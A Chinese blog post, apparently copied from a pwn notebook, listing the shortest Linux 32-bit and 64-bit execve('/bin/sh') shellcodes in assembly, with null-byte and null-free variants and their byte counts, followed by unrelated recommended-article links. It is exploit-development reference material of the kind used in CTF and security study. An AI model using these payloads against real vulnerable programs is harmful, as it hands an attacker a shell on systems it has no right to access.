在寄存器都是非理想值情况下(shellcode可根据环境具体触发时寄存器的值做长度调整),我本着最优通用的原则,整理了Linux下32位和64位最短通用shellcode的编写。


32位

有"\x00"最短 20 byte

  1. xor ecx,ecx
  2. mul ecx
  3. mov al,0xb
  4. push 0x68732f
  5. push 0x6e69622f
  6. mov ebx,esp
  7. int 0x80

无"\x00"最短 21 byte

  1. xor ecx,ecx
  2. mul ecx
  3. push eax
  4. mov al,0xb
  5. push 0x68732f2f
  6. push 0x6e69622f
  7. mov ebx,esp
  8. int 0x80

标准shellcode 23 byte

  1. xor ecx,ecx
  2. xor edx,edx
  3. push edx
  4. push 0x68732f2f
  5. push 0x6e69622f
  6. mov ebx,esp
  7. xor eax,eax
  8. mov al,0xB
  9. int 0x80

64位

最短有"\x00" 22 byte
  1. xor rsi,rsi
  2. mul esi
  3. mov rbx,0x68732f6e69622f
  4. push rbx
  5. push rsp
  6. pop rdi
  7. mov al, 59
  8. syscall

最短无"\x00" 23 byte

  1. xor rsi,rsi
  2. mul esi
  3. push rax
  4. mov rbx,0x68732f2f6e69622f
  5. push rbx
  6. push rsp
  7. pop rdi
  8. mov al, 59
  9. syscall

标准shellcode 31 byte

  1. xor rdi,rdi
  2. xor rsi,rsi
  3. xor rdx,rdx
  4. xor rax,rax
  5. push rax
  6. mov rbx,0x68732f2f6e69622f
  7. push rbx
  8. mov rdi,rsp
  9. mov al,0x3b
  10. syscall

上述内容全部来源于:https://b0ldfrev.gitbook.io/note/pwn/linux_shellcode

我只是知识的搬运工,侵删!

Linux_ShellCode总结的更多相关文章

随机推荐

  1. 解决异常:“The last packet sent successfully to the server was 0 milliseconds ago. ”的办法

    出现异常"The last packet sent successfully to the server was 0 milliseconds ago."的大部分原因是由于数据库回 ...

  2. Centos8上安装Nginx

    一.Nginx下载 官网:http://nginx.org/ 选择稳定版下载:直接右键复制下载地址即可 命令: wget http://nginx.org/download/nginx-1.20.2. ...

  3. 一些需要记住的linux命令

    1. 系统帮助命令                      ----man 2. 数据同步写入磁盘               ----sync 3. 查找文件命令                  ...

  4. Redis | 第4章 Redis中的数据库《Redis设计与实现》

    目录 前言 1. Redis中的数据库 2. 数据库的键空间 3. 键的生成时间与过期时间 4. Redis中的过期键删除策略 5. AOF.RDB和复制功能对过期键的处理 5.1 生成 RDB 文件 ...

  5. .NET Core 3.0 JsonSerializer.Deserialize 返回dynamic类型对象

    .NET Core 3.0 JsonSerializer.Deserialize to dynamic object 因为官方还不支持返回动态类型的对象,只能自己手写一个,临时测试了下没问题,还有些地 ...

  6. 调用clapack库注意事项

    寒假期间在自己开发的模型DGOM里成功的用clapack替换了MKL,这里就介绍下遇到的几个坑,希望能够帮助别人少走弯路. 1. 调用clapack函数时注意整数类型为integer. 虽然clapa ...

  7. R之dplyr::select/mutate函数扩展

    select函数 dplyr包select函数用的很多,不过我们一般也是通过正反选列名或数字来选择列. 常见用法如: select(iris,c(1,3)) select(iris,1,3) #同上 ...

  8. 硬盘SSD、HDD和SSHD都是什么意思?哪种类型硬盘最好?

    硬盘分类:(1)HHD 机械硬盘(Mechanical hard disk)(2)SSD 固态硬盘(solid state drive/disk)(3)SSHD 混合硬盘,说白了就是HDD+SSD=S ...

  9. 一款真正可以拿的出手的本土嵌入式RTOS-SylixOS

    由 winniewei 提交于 周四, 12/20/2018 作者:张国斌 在参加工信部人才交流中心和南京浦口区开发区管委会联合举办的第三届集成电路产业紧缺人才创新发展高级研修班暨产业促进交流会期间, ...

  10. 在linux下查看python已经安装的模块

    一.命令行下使用pydoc命令 在命令行下运行$ pydoc modules即可查看 二.在python交互解释器中使用help()查看 python--->在交互式解释器中输入>> ...